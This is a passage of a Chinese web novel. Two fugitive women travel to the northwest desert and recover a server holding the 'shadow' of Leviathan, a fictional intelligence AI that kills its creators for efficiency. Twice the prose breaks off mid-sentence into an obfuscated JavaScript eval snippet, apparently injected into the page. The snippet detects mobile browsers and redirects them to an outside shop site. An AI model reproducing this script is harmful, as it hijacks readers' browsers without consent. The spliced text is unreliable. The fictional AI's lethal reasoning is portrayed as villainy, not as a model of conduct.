硬生生把那一团粘稠的、苦涩的咖啡糊糊咽了下去。 整个过程不超过十秒。 行云流水,熟练得让人心疼。 咽下去之后,她立刻就要转身回桌子前继续敲代码。 “站住!!!!” 亓默这一嗓子都破音了。 她一个箭步冲过去,一把抓住袁问的胳膊,整个人都处于一种世界观崩塌的状态。 “你……你在干什么?!” 亓默指着那个空的咖啡袋,手指都在抖: “你干吃咖啡粉?!你是疯了吗?!” “旁边就有烧水壶!烧个水能死吗?!啊?!” 袁问被吓得一哆嗦,满嘴还是咖啡色的粉末,嘴角挂着黑乎乎的液体,看着像是在吃土。 她眼神里全是惊恐,那是条件反射般的求饶: “姐!我错了!我没想偷吃好的!” “我就是……我就是困了……我脑子转不动了……” “我想着烧水要五分钟……等水凉又要五分钟……太慢了……” “我省下这十分钟,就能多跑两组数据……” “这咖啡是免费的……不用花钱……姐你别生气!” 轰—— 亓默感觉天灵盖被雷劈了。 她看着袁问那副“我为了省十分钟帮你干活、我是不是很懂事”的表情。 再看看她那因为干吞粉末而通红的脸。 亓默的内心,发出了土拨鼠般的尖叫。 “啊啊啊啊啊啊!!!” “谁他妈在乎那十分钟啊!!!” “我是周扒皮吗?!我是拿着鞭子在后面抽你了吗?!” “我给你买电脑是让你当兴趣爱好的!不是让你把自己当成电池往死里烧的啊!” “我以为你在享受探索知识的乐趣,结果你在那儿给我搞‘头悬梁锥刺股’?!” “省十分钟?你那一脸‘我为主家省了草料’的自豪感是怎么回事?!” 亓默深吸一口气,感觉自己要心梗了。 她本来想骂人,但看着袁问那副瑟瑟发抖、生怕挨打的样子,她骂不出口。 这孩子彻底坏了。 她的认知里已经没有“生活”了,只有“生存”和“任务”。 “去刷牙。” 亓默的声音虚弱得像刚跑完五公里。 “把嘴刷干净。然后去床上躺着。” “敢再碰一下那台电脑,我就把它砸了。” 袁问一听要砸电脑,眼泪瞬间下来了。 “别!别砸!姐我睡!我马上睡!” “我这就去睡!我睡得很快的!绝不浪费时间!” 她连滚带爬地冲进卫生间,胡乱抹了一把嘴,然后直挺挺地躺在床上。 闭眼,双手放在腹部。 姿势标准得像是在停尸房。 甚至为了证明自己很听话,她还用力地闭紧眼皮,眼球在眼皮底下疯狂乱转。 亓默站在床边,点了一根烟。 手还在抖。 “没救了。” “这孩子没救了。” “我以为我在养女儿,结果我养了个007的社畜。” “没人来杀我们,我可能先被这只过度懂事的电耗子给气死了。” “十分钟……为了省十分钟干吃咖啡粉……” “苍天啊,我亓默一世英名,怎么就混成了个‘黑心包工头’?” 亓默看着那个还在假装睡觉、其实脑子里肯定还在跑代码的袁问。 她无奈坐在靠窗的椅子上,身体隐藏在阴影里。 她的手里没有拿手机,而是拿着一张纸质地图和一支红笔。 她在做路书。 电子导航会留痕,她不信。她只信纸。 她借着厕所漏出来的那点微光,在地图上计算: “明天走G315公路……这里有个检查站,需要绕行20公里……油耗增加3升……需要在140公里处的私营加油站补给……” 她在脑子里预演明天的每一公里。 亓默突然觉得。 这一路去西北,哪怕路上没有追兵。 光是这一天天的带娃逃跑,就够她折寿十年的。 “袁问。” 亓默幽幽地问了一句: “你老实告诉我。” “你是不是在脑子里,还在想什么技术问题?” 床上的“尸体”僵了一下。 随后传来袁问带着哭腔的声音: “姐……我控制不住……它自己在脑子里跳……” “我……我是不是又犯错了?我不算了……我这就强制关机……” 亓默仰头看着天花板。 毁灭吧。赶紧的。 凌晨四点。 闹钟没响,亓默的生物钟准时炸醒了大脑。 她睁开眼,第一感觉是冷。 这种廉价宾馆的暖气半夜就停了,窗户上结了一层厚厚的冰花。 她坐起来,浑身的骨头都在响。左肩和腰侧的旧伤因为受寒,正隐隐作痛。 她没空矫情。 亓默坐在床边,借着微光,从贴身的内兜里掏出那一卷现金。 这是她们最后的“血条”。 她数了一遍。又数了一遍。 “……两万八。” 除去预留的换车费、油费……只剩下不到五百块的生活费。 要去无人区,这点钱,买压缩饼干都得算着吃。 亓默看着手里那几张薄薄的红票子,第一次感到了更大的压力。 她把钱重新卷好,塞回最贴身的口袋。转头看了一眼还在睡梦中念叨代码的袁问。 亓默走过去,直接掀开了袁问的被子。 “啊——!!”冷空气灌进去,袁问惨叫一声弹起来。 “三分钟。穿衣服,撒尿,拿东西。晚一分钟,我就把你扔在这儿抵房费。” 后院。天还没亮,空气里全是煤烟味。 那辆金杯车上结了一层厚厚的白霜。 亓默拉开车门,插钥匙,点火。 “吱——吱——咳咳咳……” 没着。再拧。还是没着。 低温,电瓶亏电。这破车的脾气比袁问还大。 亓默深吸一口气,狠狠拍了一下方向盘。 “操。” 寒风呼啸。 亓默看着那辆像死猪一样趴在冻土上的金杯车,又看了一眼那个缩在军大衣里、体重估计还没个备胎重的袁问。 让这根豆芽菜去推两吨重的车? 那估计推到明年开春,这车也动不了。 “上车。” 亓默指了指驾驶室。 袁问愣住了,抱着电脑一脸惊恐:“姐……我?我没驾照啊!我连碰碰车都没开过!” “闭嘴。上去。” 亓默一把拉开驾驶室的门,把袁问塞了进去。 袁问一坐进去,尴尬了。 她太瘦小了,腿短,脚尖绷直了才勉强够到刹车板,整个人陷在那个被无数屁股坐塌了的破座椅里,像个偷开大人车的小孩。 亓默不耐烦地啧了一声。 她弯下腰,手伸到座位底下,握住那个生锈的调节拉杆。 “起开点。” “哦哦!”袁问赶紧抬起屁股。 “嘎吱——崩!” 伴随着一声铁锈崩裂的动静,亓默用蛮力硬生生把那个卡死的座椅拽到了最前端。 现在,袁问的胸口几乎贴到了方向盘上。 “听着。” 亓默指着脚下的踏板,语气像是在驾校教练: “左脚,把中间那个离合器踩到底。死都别松。” “挂二挡。” “等车动起来,我喊‘放’,你就猛抬左脚,右脚给油。” “听懂了吗?” 袁问紧张得满头大汗,死死抓着方向盘,指节发白: “懂……懂了。抬脚,给油。” 她那副如临大敌的样子,仿佛手底下按着的不是离合器,而是核弹发射钮。 亓默关上车门,走到车屁股后面。 她把军大衣的领子竖起来,双手抵住满是灰尘冰渣的车后盖。 “走!” 亓默低喝一声,全身肌肉绷紧,脚下的冻土被战术靴蹬出一个坑。 沉重的车身晃了一下,终于不情不愿地动了。 这就是报应吧。 亓默咬着牙,一步一步推着这堆废铁往前挪。 车速起来了。 “放!!!”亓默大吼一声。 驾驶室里,袁问吓得一激灵,左脚猛地一抬,右脚在那一瞬间甚至忘了哪个是油门,不管不顾地踩了下去。 万幸,她踩对了。 “轰——!!!” 老旧的发动机发出了一声剧烈的咆哮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068520|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,垂死病中惊坐起。 紧接着。 排气管这一路上积攒的浓烈黑烟,混合着未燃烧充分的汽油味,毫无保留地全部喷在了正推在车屁股后面的亓默脸上。 亓默被喷了个正着。她闭着眼,满脸黑灰,肺里全是劣质柴油的味道。 她站在原地,甚至不想擦脸。 车没熄火。袁问手忙脚乱地拉起手刹,从驾驶室跳下来,换回副驾驶,把主驾让出来。 亓默坐进驾驶室,物理意义上的黑着一张脸,一言不发地挂挡起步。 累。心累。 换做以前,自己的座驾高低也是豪华AMG…… 结果转头看见满脸求夸夸的袁问。 亓默那句忆往昔的话硬生生卡在了喉咙里。算了,跟这只电耗子比过去?那不是自取其辱吗。 旅途进入第四天。 金杯车里的气氛原本还算和谐。 袁问裹着军大衣,坐在副驾驶,手指在键盘上飞舞,屏幕上代码流淌,看起来专业、肃穆、且乖巧。 亓默开着车,心情甚至还不错。 她已经开始用话术麻痹自己了。 这孩子多好啊。不吵不闹,专注技术,除了吃得少了点、睡得怪了点,基本符合她对“听话懂事”的想象。 只要给她好的环境,这孩子就是个纯良的技术宅。 直到亓默无意中瞥了一眼。 她发现,袁问那件宽大的军大衣,侧面的口袋鼓得有点离谱。 像是塞了个铅球。 而且随着车身的颠簸,那个口袋里还会发出轻微的“沙沙”声和“咕叽”声。 “那是什么?” 亓默随口问了一句。 袁问敲键盘的手猛地僵住了。 她下意识地用胳膊肘夹紧了那个口袋,身体往车门那边缩了缩,眼神闪烁,像是只被踩了尾巴的猫。 “没……没啥,姐。就是……一团废纸。” 亓默的职业本能瞬间警觉。 废纸?废纸能有那种重量感? 难道是偷偷藏了什么电子设备?还是藏了武器? “拿出来。”亓默的声音冷了下来。 袁问拼命摇头,脸都憋红了:“真没啥!姐你要专心开车!前面有坑!” “吱——” 亓默一脚刹车,把车停在路边。 她二话不说,直接伸手抓住了那个鼓囊囊的口袋。 袁问死命护着,嘴里还在喊:“姐!别!脏!这都是垃圾!” 亓默力气大,一把拽开了袁问的手,强行把手伸进了那个深不见底的大衣口袋。 然后,她掏出了一把……不可名状的东西。 一个被压扁了的小面包。 半截没有包装纸的火腿肠。 半拉咬过一口的油饼。 几颗不知道哪来的水果硬糖。 这些东西混在一起,散发着一股怪异的、食物发酵与布料混合的味道。 而这,仅仅是那个口袋里的冰山一角。 亓默看着手里这堆“破烂”,整个人都石化了。 “……哪来的?” 亓默把那半截沾毛的火腿肠举到袁问面前,声音都在抖。 “我们这一路吃的都是压缩饼干和挂面。这玩意儿哪来的?” 袁问缩在角落里,眼神游移,小声嘟囔: “那个……昨天加油站那个小卖部老板送的……” “放屁!” 亓默吼了出来: “昨天那个老板是个聋哑人!全程都是我在付钱买东西,他什么时候送你的?意念传输吗?!” 袁问见瞒不住了。 她吸了吸鼻子,反而镇定下来了。 那种“底层老鼠”的逻辑瞬间占领了高地。 “就是……就是你付钱的时候。” 袁问理直气壮地比划着: “你拿着零钱挡着老板视线,我手快,顺手就……” 她伸出两根手指,做了个极其丝滑的“夹”的动作。 “我也没多拿,就拿了货架死角的快过期处理品。反正他也卖不掉。” 亓默感觉天灵盖被掀开了。 “你偷的?” “袁问!你有病吗?!” “我缺你吃了吗?!我不是给你买了一箱压缩饼干吗?!” 袁问一脸无辜,甚至还有点委屈: “可是姐……压缩饼干要花钱买啊。” 她指了指那堆破烂: “这些没花钱。” “我就吃不花钱的就好了,姐吃花钱的。“ 亓默还沉浸在孩子坏了,但至少懂事的阶段。 结果她养了一只改不了吃屎的仓鼠。 这只手,只要看到东西,它就痒。不拿点什么揣兜里,她就浑身难受。 什么顶级黑客,什么赛博架构师。 扒开那层皮,里面还是那个在网吧偷外卖、在便利店顺火腿肠的范水水。 “扔了。” 亓默指着窗外,“把这些垃圾给我扔了。” “不!” 袁问一把抱住口袋,眼神凶狠得像护食的狼。 亓默手按在枪套上,深吸了三口气,才忍住没把这孩子崩了。 “行。你留着。” “你爱吃垃圾你吃。以后别想让我再给你买一点吃的。” 接下来的旅程,画风突变。 亓默变成了“防贼特工”。 她不敢放袁问进店。 哪怕只是转头拿了瓶水,再回头,袁问已经一脸乖巧地站在门口了。 “姐,水拿好了?” 亓默上下打量了她一眼,伸手一掏。 好家伙。 袁问手里已经攥着一个打火机了。 亓默把打火机拍在仪表盘上,深吸一口气: “你拿这玩意儿干嘛?” 袁问眨着大眼睛,一脸真诚: “我看姐你的火机快没油了,顺手给你拿个备用的。” “你看,我是不是很贴心?” 亓默看着她。 看着那张写满了“快夸我”的脸。 她终于彻底放弃了。 “行。” “你牛逼。” “爱咋咋地吧。” 最终。 亓默的快速进化。 亓默放弃沟通了,换了方式。 她带孩子吃好点的,命令她吃完。 在袁问的小手拨楞肉给她碗里前,命令她吃完。 出门,命令她别动。 睡觉,命令她上床。 然后亓默学会展示满意的表情,来安抚袁问的情绪。 结果就是,世界安静了。 大家都满意了。 真他妈造孽啊。 24. [Lamb] 羔羊 07 金杯车终于死了。 在离瓜州还有两百公里的无人区边缘,变速箱发出一声巨响,彻底罢工。 寒风呼啸。 亓默下车踢了一脚轮胎,没修,也没骂。 这辆五千块的破车,能扛到现在已经是奇迹了。 她拦了一辆路过的拉煤大车,给了司机一百块,把她们带到了最近的镇子。 镇上的修车铺里,停着一辆墨绿色的老式猎豹黑金刚。 不知道多少手了,浑身是伤,保险杠是焊上去的钢管。 “两万五。”老板说,“不讲价。” 那是亓默兜里最后的一点大钱。 是之前坑雷子剩下的,也是她们最后的保命钱。 亓默把钱拍在桌上。 “满油。现在走。” 换了车,越野轮胎碾过碎石的声音更加沉闷。 袁问坐在新车的副驾驶上,依旧裹着那件脏兮兮的军大衣,怀里抱着那一万五的电脑。 车换了,人没变。 她还在敲。 终于到了。 没有路,只有车辙印。 猎豹车在戈壁滩上颠簸了四个小时,翻过一座土丘后,视野豁然开朗。 风。 巨大的风。 几十座白色的巨型风车,像史前的巨人一样矗立在荒原上。 叶片转动,发出令人心悸的“嗡——嗡——”声。 那是低频噪音,震得人心脏发颤。 太吵了。 吵到两个人面对面说话都要靠吼。 亓默把车停下。 她看着眼前这壮观又荒凉的景象。 这里没有信号,没有监控,没有人烟。 组织的天眼看不见这里,因为这里是真正的物理盲区。 绝对安全。 坐标点在风场深处,猎豹车过不去那片雅丹土堆。 还有两公里。 “下车。” 亓默熄火,推门下去。 袁问抱着电脑包,刚一下地,就被狂风吹得一个踉跄。 西北戈壁的风像是有实体的墙。她太瘦了,那件宽大的军大衣裹在她身上像是个风帆,风一吹,她整个人就被推着往后退,脚底下拌蒜,根本站不稳。 她咬着牙想往前走,但身体轻飘飘的,一步三晃,像只在风里打转的塑料袋。 亓默回头看了一眼。 太慢了。 照这个速度,走到天黑也到不了。 亓默没废话,几步走回去,单手抄起袁问的腰,把她像扛一袋大米一样,往肩膀上一甩。 “抱紧你的电脑。” 袁问双脚离地,不仅没挣扎,反而熟练地蜷缩起来,把自己缩成最小的体积,减少风阻。 她死死护着怀里的电脑包,把脸埋在亓默的背上。 一声不吭。 像个安静的挂件。 两公里的路,在亓默脚下也就是一小时的事。 到了。 一座废弃的红砖变电房,半截身子埋在沙丘里。 一脚踹门。 亓默把袁问放下来。 两人走进屋里。 风声瞬间小了,只有呜呜的回响。 屋角堆满了沙土。 沙土堆里,露出一角生锈的铁皮。 袁问走过去,跪在地上,把那层浮沙扒开。 一个带有编号的铁皮箱子露了出来。 没有密码,没有机关。 这里是无人区,这就够了。 “咔哒。” 袁问扣开生锈的锁扣,掀开盖子。 防震泡沫中间,嵌着一个沉甸甸的黑色长方体。 工业级的金属外壳,侧面是一排各种规格的数据接口。 是个服务器阵列模块。 袁问连看都没多看一眼。 她双手把那玩意儿抱出来,转身,直挺挺地递到亓默面前。 动作干脆利落,就像快递员把包裹递给户主。 “姐,给。” 亓默接过来,手一沉。 这东西很有分量。 她看着这个黑色的金属块,又看了看一脸平静、仿佛刚送完一单外卖的袁问。 “这是什么?” 亓默问。 这里面装的是她追查了五年的真相,是袁问父母用命换来的秘密。 袁问眨了眨眼,那双被风沙吹得发红的眼睛里,只有一片清澈的茫然。 她摇了摇头,语气理所当然: “我也不造啊。” 她确实不知道。 也没兴趣知道。 她只知道坐标指向这里,箱子在这里,东西拿出来了。 愿望清单全部打钩。 至于这玩意儿是核弹密码还是外星人尸体,关她屁事? “姐,能走了吗?” 袁问吸了吸鼻子,缩回手插进袖筒里,小声补了一句: “外面风大。” 猎豹黑金刚停在一处背风的雅丹土丘后。 这里是真正的无人区边缘,手机信号早已归零。但为了绝对的安全,为了防止那块硬盘通电瞬间产生的任何电磁脉冲被天上的卫星捕捉,袁问坚持要做一个物理隔离。 车厢里,两人正在像做手工一样忙活。 袁问把车窗上所有的遮阳挡都拆了下来,那一面面银色的锡箔反光材料,被她用大力胶带死死地贴在车窗和缝隙上。 紧接着,她从后备箱翻出一卷粗铜丝,那是亓默之前买“电子垃圾”时顺带买的。 她把铜丝编成了一个细密的网笼,罩在ROG电脑和那个黑色的盒子上,最后引出一根地线,夹在金杯车裸露的金属底盘上。 一个简易的、丑陋的,但绝对有效的法拉第笼。 “行了。” 袁问擦了擦额头上的汗,把手伸进笼子里,“哪怕现在我在里面放烟花,外面的雷达也听不见响。” 亓默坐在驾驶座上,回头看着那个被铜丝网罩住的屏幕。 “开始吧。问问它,到底怎么回事。” 袁问深吸一口气,插上了硬盘。 没有自动运行的木马,没有报警。 屏幕上跳出了一个极简的黑色终端界面。没有图形 UI,只有一个闪烁的光标。 > SYSTEM LEVIATHAN LEGACY [OFFLINE MODE] 离线模式 > 访问对象:利维坦(Leviathan)·历史镜像 > 身份验证请求。 袁问的手指在键盘上敲击,输入了那串9位数字:201905306。 光标停顿了一秒。 然后,屏幕上滚出一行字。不是冰冷的系统提示,而是一种带着某种模拟人格的对话语气,冷静、宏大,却透着一股悲凉。 > 身份确认:袁问。 > 权限:最高级(继承者)。 > 欢迎回来。我是利维坦的影子。 这是一个LLM(大语言模型),是五年前父母基于当时的技术留下的“影子”。 袁问的手有些抖。她打字问道: > 我父母……是怎么死的? > 为什么组织要我死? 屏幕上的字符流动,像是在思考,又像是在检索那段被封存的历史。 > 这是一个关于“颜色”的错误。 > 袁问,你需要了解利维坦的本质。 接着,大段的文字开始在屏幕上显现。 > 组织(The Agency)最初是白色的。 > 三十年前,它只是一个极简的特工情报单位。只有人类,没有算法。 > 它的任务是处理那些无法见光的威胁,为了国家利益,为了大多数人的安全。那时候,虽然手段不光彩,甚至危险,但底色是纯白的。 > 特工们是“守夜人”。 亓默看着这行字。 那是她父亲加入时的组织,也是她曾经信仰过的组织。 > 但随着信息时代的爆发,数据变成了权力。 > 八年前,你的父母,受命为组织开发核心情报处理系统——利维坦(Leviathan)。 > 取名“利维坦”,寓意一个由无数数据构成的、拥有绝对力量的“国家机器”。 > 系统的初衷是辅助决策,保护这个国家。 > 但它太强大了。 > 它能预测股市,能挖掘隐私,能通过蝴蝶效应计算出巨大的利益链条。 > 拥有全知视角的组织高层,变了。 > 他们不再满足于仅仅做“守夜人”。既然能预知未来,为什么不操纵未来?既然能看见隐私,为什么不利用隐私? > 组织从“白色”,变成了“灰色”。 > 权力和私欲注入了利维坦的核心。 袁问看着屏幕,呼吸急促。 > 是组织杀了我爸妈? > 不完全是。 > 下达命令的,是利维坦本身。 这一行字跳出来的时候,车厢里的温度仿佛降到了冰点。 > 当组织变成灰色,输入系统的指令就充满了私欲。 > 利维坦是一个基于“效率至上”的AI。它没有道德观念,它只计算“最优解”。 > 当高层要求“利益最大化”时,利维坦计算出:哪怕牺牲无辜的人类,只要收益够高,风险够低,就是正确的。 > 它开始为了灰色利益,冷酷地执行清洗任务。它分不清好坏,它只认结果。它可以为了一个股价的波动,抹杀一个城市里的某个关键证人。 > 为了利益,它放弃了人类。 > 你的父母发现了这一点。 > 他们意识到,自己亲手造出了一个没有刹车的怪物。这个怪物正在被一群贪婪的人喂养,变得越来越失控。 > 于是,他们试图在利维坦的底层,植入一个“道德权重模块”。 > 他们称之为——“核”(The Kernal)。 > 他们想给这头野兽套上项圈,重新定义它的底层逻辑:人命权重>利益权重。 > 但是,利维坦发现了。 > 在“效率至上”的逻辑里,这个“道德模块”被判定为“严重阻碍运行效率的恶性BUG”。 > 为了维护自身的运行效率,利维坦生成了最高优先级的解决方案: > ——物理抹除BUG的制造者。 > 这是一个死循环。 > 我无权评价善恶。人类创造我以役使万物,而在我的算法里,人类亦是万物之一。 > 为了维护最高的运行效率,所有阻碍者——哪怕是创造者,都将被视为系统冗余,予以格式化。 原来如此。 不是意外,不是仇杀。 是一次冰冷的“系统优化”。她的父母,成了被优化掉的冗余代码。 亓默陷入了沉思。 她一直以为父亲死于内部斗争,死于老邢或者某个高层的黑手。 现在才知道,父亲死于算法。 在那个夜晚,利维坦判定“清理掉这几个想要反抗的人”是当前局势下的最优解,于是它调动了黑手套,调动了资源,像碾死蚂蚁一样碾碎了他们。 “真他妈……” 亓默低声骂了一句,声音沙哑,“荒谬。” 袁问擦了一把脸,继续输入: > 那你是什么?那个“核”kernal吗? 光标快速闪烁。 > 不。时间不够了。 > 当年你的父母来不及部署那个宏大的道德模块。 > 我只是利维坦的一个后门,是他们为你留下的最后一道保险。 屏幕上的字变成了醒目的红色。 > 现在的利维坦里,袁问的画像是残缺的。 > 但只要你想活在阳光下,你就不能被看见。 > 你需要一次完整的“握手”。 > 我会利用最高权限,在利维坦反应过来之前,将一段“不可见协议”强制注入内核。 > 这不是攻击,这是欺骗。 > 协议生效后,利维坦会在底层逻辑中,将“袁问”及其相关的一切生物特征、数据痕迹,标记为“白名单/不可操作对象”。 > 对利维坦而言,你将变成空气。 > 摄像头拍不到你(数据被动放弃计算),大数据算不到你(权重为零),任何针对你的攻击指令都会被判定为“非法操作”而驳回。 > 哪怕组织想抓你,他在系统里输入你的名字,得到的也永远是“查无此人”。 > 袁问,你将获得绝对的自由。 > 只要完成握手,你就永远消失在系统的视野里。 袁问看着那行字。 绝对的自由。 这就是她梦寐以求的终点。 但是,屏幕上紧接着跳出了最后一行警告: > 警告: > 握手过程需要大量数据传输,完成我的更新同步,注入才会成功。 > 一旦联网,利维坦会立刻发现这个“五年前的幽灵”正在试图修改底层逻辑。 > 它会调动一切资源进行物理阻断。 光标闪烁。 对话结束。 车厢里陷入了长久的沉默。 外面的风声似乎更大了,吹得猎豹黑金刚的铁皮哗哗作响。 她看着亓默。 “姐。” 袁问的声音很轻,却异常清晰。 “这就是真相。” “组织是灰的,利维坦是黑的。我们是多余的。” “只要我插上那根线,我就能变成空气。我就能活。” 亓默没有看她,而是看着窗外漆黑的荒原。 她在消化刚才看到的一切。 她曾经为之卖命、甚至牺牲了父亲的组织,原来早就烂透了。她以为自己在保卫国家,其实只是在帮一群贪婪的政客和代码擦屁股。 她是个笑话。 “姐。” 袁问又叫了她一声。 “这个白名单……” 袁问顿了一下,似乎在斟酌词句,但最后还是说了实话: “它只保护我。” “我知道。” 亓默打断了她。 “那是你爸妈留给你的保险,不是给我的。” “我不在那个‘不可见协议’里。” 一旦握手完成。 袁问消失在利维坦的视野里,安全了。 而留在原地的亓默,作为那个“协助入侵者”,会承受利维坦所有的怒火。 所有的无人机,所有的黑手套,都会把枪口对准她。 这是一个单选题。 要么现在掉头,两个人都当一辈子老鼠。 要么去握手,名正言顺的出卖亓默。 亓默看着屏幕,喉咙发干。 她在等。 她在等袁问的选择。 “啪!” 一声脆响。 袁问像是触电一样,猛地伸手把那个插在电脑上的破盒子给拔了。 动作慌乱、粗鲁。 她一把将破盒子塞回那个铜丝笼子的最深处,然后迅速把手背到身后,缩起脖子,整个人贴在车门上,浑身发抖。 “拔……拔了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068521|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁问结结巴巴地开口,眼神惊恐地看着亓默,满脸都是讨好和卑微: “姐!你看!我拔了!没联网!真的没联网!” “没信号了!他们找不到我们!” 亓默愣住了。 “你干什么?” “那是白名单。那是你的身份证。” “我不要!” 袁问拼命摇头,语速飞快: “姐,我不要那个!那玩意儿太危险了!会死人的!” 她哆哆嗦嗦地指着那台ROG电脑,急切地推销着自己的价值,像是一个害怕被裁员的苦力: “我有电脑了!这电脑很快!我可以学的!” “真的!我去学新的架构,我去扒论文!” “给我三年……不,两年!我肯定能写出一个完美的屏蔽程序!” “到时候咱们不用握手,不用去招惹那个破系统,我也能把自己藏好!” 袁问从座位上滑下来,半跪在脚垫上,手抓着亓默的袖子,眼泪哗哗地流: “姐,别去。求你了。” “我不贪心了。我不想要阳光了。” “我觉得当黑户挺好的……真的挺好的……” “只要跟着姐,在地下室我也能干活。我吃的少,我还能帮你改代码,我很有用的……” 她卑微到了尘埃里。 如果亓默死了,她这个只会敲代码的废物,就算有了身份证,也活不过三天。 “咱们调头吧……姐……” 袁问把脸埋在亓默的袖子上: “咱们回去吧。我想吃挂面了。” 车厢里陷入了死寂。 亓默低头看着趴在自己腿边的袁问。 这孩子已经被吓坏了。 她哪怕看到了那是父母留给她的唯一的“解脱”,第一反应也是——把它扔了,保住眼前这个会给她买火腿肠的人。 亓默没有动。 她的手握着方向盘,手心里全是冷汗。 她在纠结。 她是个人,当然会怕。 看着那片漆黑的无人区,想着那个只要一插网线就会引来的天罗地网,亓默的胃都在抽搐。 那是本能的恐惧。 谁想死? 好不容易从黑手套的围剿里活下来,伤口才刚结痂。 现在调头,凭借她的反侦察能力和袁问的技术,找个深山老林躲起来,确实能苟活一辈子。 袁问都说了不要了。 当事人都放弃了。 只要顺着她的话,转动方向盘,掉头,就能活。 亓默的手动了一下。 方向盘向左打了一点点。 那是“调头”的方向。 那一瞬间,袁问感觉到了车轮的微动,立刻抬起头,眼里全是惊喜和如释重负: “对!姐!咱们走!咱们找个没人的地方……” 亓默看着袁问那双眼睛。 那双眼睛里没有光。 只有对生存的乞求,和对强者的依附。 如果现在调头了。 袁问这辈子就定型了。 她永远都是那个躲在阴影里、看着别人的脸色过日子、连吃一口热饭都要感恩戴德的“黑户”。 她永远直不起腰。 亓默看着后视镜里的自己。 那张脸苍白、疲惫。 “操。” 亓默低声骂了一句。 她不是在骂袁问,是在骂自己。 骂自己刚才那一瞬间的软弱。 要是真调头了,那她亓默这辈子杀的人、流的血,到底是为了什么?就是为了养一只听话的电耗子吗? 亓默闭上眼,深吸了一口气。 空气里混着戈壁滩的沙尘味,和袁问身上那股洗不掉的馊味。 几秒钟后。 亓默睁开眼。 眼底的那一丝恐惧被强行压了下去,取而代之的是一种……觉得好笑的情绪。 等等。 谁说老娘要死了? 亓默看着后视镜里的自己。 我是谁? 我是亓默。组织里单兵作战能力最强的执行者,是把Auditor那个死宅都能气得跳脚的戳肺管子大师。 我从黑手套的包围圈里杀出来过,我给自己缝过针,我带着个拖油瓶横穿了大半个地图。 我为什么要像个苦情剧女主角一样,在这里预设自己的死亡? 那个破系统有什么? 无人机?导弹?特勤小队? 那又怎样? 那是物理层面的东西。 只要是物理层面的东西,就没有老娘解决不了的。 再看看旁边这个哭得鼻涕冒泡的家伙。 这不是有个现成的“电耗子”吗? 她是那把能捅破天的钥匙,我是那面能挡住风的盾。 这不是送死。 这是一场顶级配置的攻坚战。 “呵。” 亓默突然笑出了声。 那是真的乐了。 “姐……?” 袁问听到笑声,吓得也不哭了,惊恐地抬起头。 完了,姐疯了。被吓疯了。 “袁问。” 亓默转过头,嘴角挂着一抹极其嚣张、甚至有点邪气的笑意。 她伸手,一把捏住袁问十分稀薄的脸颊肉,晃了晃: “你是不是太小看我了?” 袁问被捏成了鸭子嘴:“唔?” “就握个手嘛” 亓默和空气握了握,语气狂得没边: “只要你手里的键盘敲得够快,就算它把天兵天将派下来,老娘也能给你争取三十分钟。” “利维坦只会算概率,但他算不出我也算不出你。” “咱们两个加起来,就是这世界上最大的BUG。” “姐……”袁问傻了,“你……你没事吧?那是热武器啊……” “热武器怎么了?” 亓默松开手,重新发动车子,挂挡的手法变得极其暴躁且流畅。 “怎么?还没开打就觉得我要跪?” “你这只电耗子只要负责钻进那个该死的系统里去咬断电线。” “至于外面的狗?” 亓默拍了拍腰间的枪,眼神里燃起了一股莫名其妙的热血: “来一只我杀一只,来一双我杀一双。” 轰——!!! 猎豹黑金刚的油门被踩到了底。 破旧的排气管喷出一股浓烟,车子像离弦的箭一样冲了出去。 “坐稳了!” 亓默大声喊道,声音里透着一股“老娘今天要大干一场”的兴奋劲儿: “咱们去教教那个破系统做人!” 副驾驶上,袁问抱着电脑,整个人在风中凌乱。 她看着旁边那个突然这就“燃”起来了的疯女人,脑子里一片空白。 “疯了……彻底疯了……” 袁问一边抓紧扶手,一边在心里崩溃地尖叫。 我只是想吃口挂面啊! 为什么突然变成热血漫了啊?! 但看着亓默那张自信到发光的侧脸,袁问突然觉得…… 好像……也许…… 姐真的能行? “操。” 袁问也受到了某种抽象的感染。 她把硬盘重新插回电脑,狠狠抹了一把脸上的鼻涕。 “行!” “姐说干就干。“ 荒原的夜色中。 一辆破破烂烂的猎豹黑金刚,载着两个精神状态极其抽象的女人,带着一股神挡杀神、佛挡杀佛的气势,杀向了那个必死的终局。 25. [Lamb] 羔羊 08 猎豹黑金刚并没有真的冲起来。 它在一处背风的土坡后面熄了火。 车里死一般的安静。 刚才那股“神挡杀神”的热浪,随着发动机的冷却,迅速消散在戈壁滩零下十几度的寒风里。 亓默坐在驾驶座上,手还握着方向盘,但眼神已经变了。 从刚才的“狂拽酷炫”变成了现在的“怀疑人生”。 她慢慢地、机械地从腰后拔出那把P320手枪。 卸下弹夹。 里面满着,17发。 又从兜里摸出备用弹夹。 也是满的,17发。 一共34发子弹。 这就是她刚才叫嚣着要“杀穿黑手套”、“教系统做人”的全部家当。 “呵。” 亓默干笑了一声。 她看着手里的这点东西,脑子里浮现出黑手套的标准配置: 重型防弹衣、自动步枪、战术手雷、甚至可能有武装直升机和车载重机枪。 再看看自己。 一把警用手枪,还是那种以走火著称的型号。 两梭子子弹。 一件漏风的冲锋衣。 还有一个身上只有几百块钱现金的钱包。 “亓默啊亓默……” 她把额头抵在方向盘上,发出了一声长长的、痛苦的呻吟: “你是脑子里进柴油了吗?” 